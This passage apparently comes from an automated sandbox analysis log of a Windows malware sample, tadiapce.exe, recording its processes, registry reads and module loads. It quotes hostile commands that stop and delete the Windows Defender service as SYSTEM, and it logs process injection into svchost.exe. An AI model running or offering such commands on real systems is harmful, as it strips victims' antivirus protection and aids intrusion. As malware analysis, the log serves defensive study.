Get Environment String name = MshEnableTrace False 116
Fn
Get Environment String name = PSMODULEPATH, result_out = C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ True 1
Fn
Get Environment String name = HOMEDRIVE False 1
Fn
Get Environment String name = HOMEPATH False 1
Fn
Get Environment String name = HomeDrive False 1
Fn
Get Environment String name = HomePath False 1
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Get Environment String name = PATH True 1
Fn
Get Environment String name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 1
Fn
Set Environment String name = PSMODULEPATH, value = WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ True 1
Fn
Process #29: cmd.exe
60 0
»
Information Value
ID #29
File Name c:\windows\system32\cmd.exe
Command Line "C:\Windows\System32\cmd.exe" /c sc delete WinDefend
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:24, Reason: Child Process
Unmonitor End Time: 00:01:26, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0x394
Parent PID 0x214 (c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level System (Elevated)
Username NT AUTHORITY\SYSTEM
Enabled Privileges SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege
Thread IDs
0x 878
Host Behavior
File (10)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 208, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\sc.exe os_pid = 0x9a0, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\cmd.exe base_address = 0x4a580000 True 1
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x76b10000 True 2
Fn
Get Filename - process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\System32\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetThreadUILanguage, address_out = 0x76b624c2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CopyFileExW, address_out = 0x76b4ac6c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsDebuggerPresent, address_out = 0x76b53ea8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76b62732 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-05-14 15:31:34 (UTC) True 1
Fn
Get Time type = Ticks, time = 10932628 True 1
Fn
Get Time type = Performance Ctr, time = 15904049107 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000424 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #30: sc.exe
9 0
»
Information Value
ID #30
File Name c:\windows\system32\sc.exe
Command Line sc stop WinDefend
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:25, Reason: Child Process
Unmonitor End Time: 00:01:26, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0x8a0
Parent PID 0x7dc (c:\windows\system32\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level System (Elevated)
Username NT AUTHORITY\SYSTEM
Enabled Privileges SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege
Thread IDs
0x 98C
0x 994
Host Behavior
File (3)
»
Operation Filename Additional Information Success Count Logfile
Get Info STD_OUTPUT_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 1
Fn
Write STD_OUTPUT_HANDLE size = 98 True 1
Fn
Data
Module (1)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\sc.exe base_address = 0x2d0000 True 1
Fn
Service (2)
»
Operation Additional Information Success Count Logfile
Open database_name = SERVICES_ACTIVE_DATABASE False 1
Fn
Open Manager database_name = SERVICES_ACTIVE_DATABASE True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-05-14 15:31:34 (UTC) True 1
Fn
Get Time type = Ticks, time = 10932659 True 1
Fn
Get Time type = Performance Ctr, time = 15907162426 True 1
Fn
Process #31: sc.exe
9 0
»
Information Value
ID #31
File Name c:\windows\system32\sc.exe
Command Line sc delete WinDefend
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:25, Reason: Child Process
Unmonitor End Time: 00:01:26, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0x9a0
Parent PID 0x394 (c:\windows\system32\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level System (Elevated)
Username NT AUTHORITY\SYSTEM
Enabled Privileges SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege
Thread IDs
0x 9A4
0x 9A8
Host Behavior
File (3)
»
Operation Filename Additional Information Success Count Logfile
Get Info STD_OUTPUT_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 1
Fn
Write STD_OUTPUT_HANDLE size = 98 True 1
Fn
Data
Module (1)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\sc.exe base_address = 0x2d0000 True 1
Fn
Service (2)
»
Operation Additional Information Success Count Logfile
Open database_name = SERVICES_ACTIVE_DATABASE False 1
Fn
Open Manager database_name = SERVICES_ACTIVE_DATABASE True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-05-14 15:31:34 (UTC) True 1
Fn
Get Time type = Ticks, time = 10932721 True 1
Fn
Get Time type = Performance Ctr, time = 15912605200 True 1
Fn
Process #33: svchost.exe
62 0
»
Information Value
ID #33
File Name c:\windows\system32\svchost.exe
Command Line svchost.exe
Initial Working Directory C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\
Monitor Start Time: 00:02:33, Reason: Child Process
Unmonitor End Time: 00:02:34, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0x4d8
Parent PID 0x214 (c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 9E8
Injection Information
»
Injection Type Source Process Source Os Thread ID Information Success Count Logfile
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x50000, size = 367 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x60000, size = 112 True 61
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x602104, size = 12 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10000000, size = 1024 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10001000, size = 10240 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004000, size = 3584 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10005000, size = 1004 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10005000, size = 512 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10006000, size = 1024 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 26 True 4
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0xe0000, size = 12 True 7
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 17 True 7
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0xe0000, size = 16 True 45
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004018, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 14 True 3
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000401c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 15 True 4
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004020, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 20 True 6
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004024, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 9 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004028, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000402c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 12 True 5
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004030, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 10 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004034, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004038, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000403c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 25 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004040, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 18 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004044, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004048, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 24 True 4
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000404c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004050, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 19 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004054, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 13 True 4
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004058, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000405c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 27 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004060, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 6 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004064, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004068, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 28 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000406c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004000, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004004, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004008, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000400c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004010, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 21 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040c8, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040cc, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040d0, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040d4, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040d8, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 16 True 4
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004080, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004084, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004088, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000408c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 22 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000409c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040a0, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 11 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040a4, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040a8, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 5 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040ac, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 7 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040b0, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040b4, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040b8, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040bc, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040c0, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004094, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004074, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004078, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0xe0000, size = 1024 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x140000, size = 388 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x150000, size = 40 True 1
Fn
Data
Host Behavior
Module (59)
»
Operation Module Additional Information Success Count Logfile
Load KERNEL32.dll base_address = 0x76b10000 True 1
Fn
Load ADVAPI32.dll base_address = 0x774c0000 True 1
Fn
Load ole32.dll base_address = 0x76cd0000 True 1
Fn
Load OLEAUT32.dll base_address = 0x76a60000 True 1
Fn
Load msvcrt.dll base_address = 0x76f80000 True 1
Fn
Load SHLWAPI.dll base_address = 0x771d0000 True 1
Fn
Load NETAPI32.dll base_address = 0x73c20000 True 1
Fn
Get Handle c:\windows\system32\svchost.exe base_address = 0x600000 True 1
Fn
Get Handle c:\windows\system32\advapi32.dll base_address = 0x774c0000 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetModuleHandleW, address_out = 0x76b6374d True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetVersionExW, address_out = 0x76b53b1a True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetProcAddress, address_out = 0x76b633d3 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WideCharToMultiByte, address_out = 0x76b6450e True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapFree, address_out = 0x76b5bbd0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetProcessHeap, address_out = 0x76b61280 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapReAlloc, address_out = 0x7739ff51 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapAlloc, address_out = 0x77382dd6 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrlenW, address_out = 0x76b5d9e8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetModuleHandleA, address_out = 0x76b5cf41 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = UnhandledExceptionFilter, address_out = 0x76b6ed38 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCurrentProcess, address_out = 0x76b5cdcf True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = TerminateProcess, address_out = 0x76b52331 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetSystemTimeAsFileTime, address_out = 0x76b62fde True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCurrentProcessId, address_out = 0x76b5cac4 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCurrentThreadId, address_out = 0x76b5bb80 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetTickCount, address_out = 0x76b5ba60 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = QueryPerformanceCounter, address_out = 0x76b5bb9f True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = InterlockedCompareExchange, address_out = 0x76b5bb92 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = Sleep, address_out = 0x76b5ba46 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = InterlockedExchange, address_out = 0x76b5bf0a True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetUnhandledExceptionFilter, address_out = 0x76b63d01 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegEnumKeyExW, address_out = 0x774d46c8 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegOpenKeyExW, address_out = 0x774d468d True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegQueryValueExW, address_out = 0x774d46ad True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegCloseKey, address_out = 0x774d469d True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegQueryInfoKeyW, address_out = 0x774d46e7 True 1
Fn
Get Address c:\windows\system32\ole32.dll function = CoInitializeSecurity, address_out = 0x76cf7259 True 1
Fn
Get Address c:\windows\system32\ole32.dll function = CoCreateInstance, address_out = 0x76d19d0b True 1
Fn
Get Address c:\windows\system32\ole32.dll function = CoSetProxyBlanket, address_out = 0x76ce5ea5 True 1
Fn
Get Address c:\windows\system32\ole32.dll function = CoUninitialize, address_out = 0x76d186d3 True 1
Fn
Get Address c:\windows\system32\ole32.dll function = CoInitializeEx, address_out = 0x76d109ad True 1
Fn
Get Address c:\windows\system32\oleaut32.dll function = 12, address_out = 0x76a65dee True 1
Fn
Get Address c:\windows\system32\oleaut32.dll function = 7, address_out = 0x76a64680 True 1
Fn
Get Address c:\windows\system32\oleaut32.dll function = 9, address_out = 0x76a63eae True 1
Fn
Get Address c:\windows\system32\oleaut32.dll function = 2, address_out = 0x76a64642 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = _except_handler4_common, address_out = 0x76fa3e27 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = ??2@YAPAXI@Z, address_out = 0x76f8b0c9 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = _amsg_exit, address_out = 0x76feb2ef True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = _initterm, address_out = 0x76f8c151 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = free, address_out = 0x76f89894 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = malloc, address_out = 0x76f89cee True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = _XcptFilter, address_out = 0x76fadc75 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = ??1type_info@@UAE@XZ, address_out = 0x76fd92b3 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = _vsnwprintf, address_out = 0x76f8bbce True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = ??3@YAXPAX@Z, address_out = 0x76f8b0b9 True 1
Fn
Get Address c:\windows\system32\shlwapi.dll function = StrFormatByteSizeW, address_out = 0x7720169d True 1
Fn
Get Address c:\windows\system32\netapi32.dll function = NetUserEnum, address_out = 0x735c59cf True 1
Fn
Get Address c:\windows\system32\netapi32.dll function = NetApiBufferFree, address_out = 0x73c113d2 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegGetValueW, address_out = 0x774d0e47 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
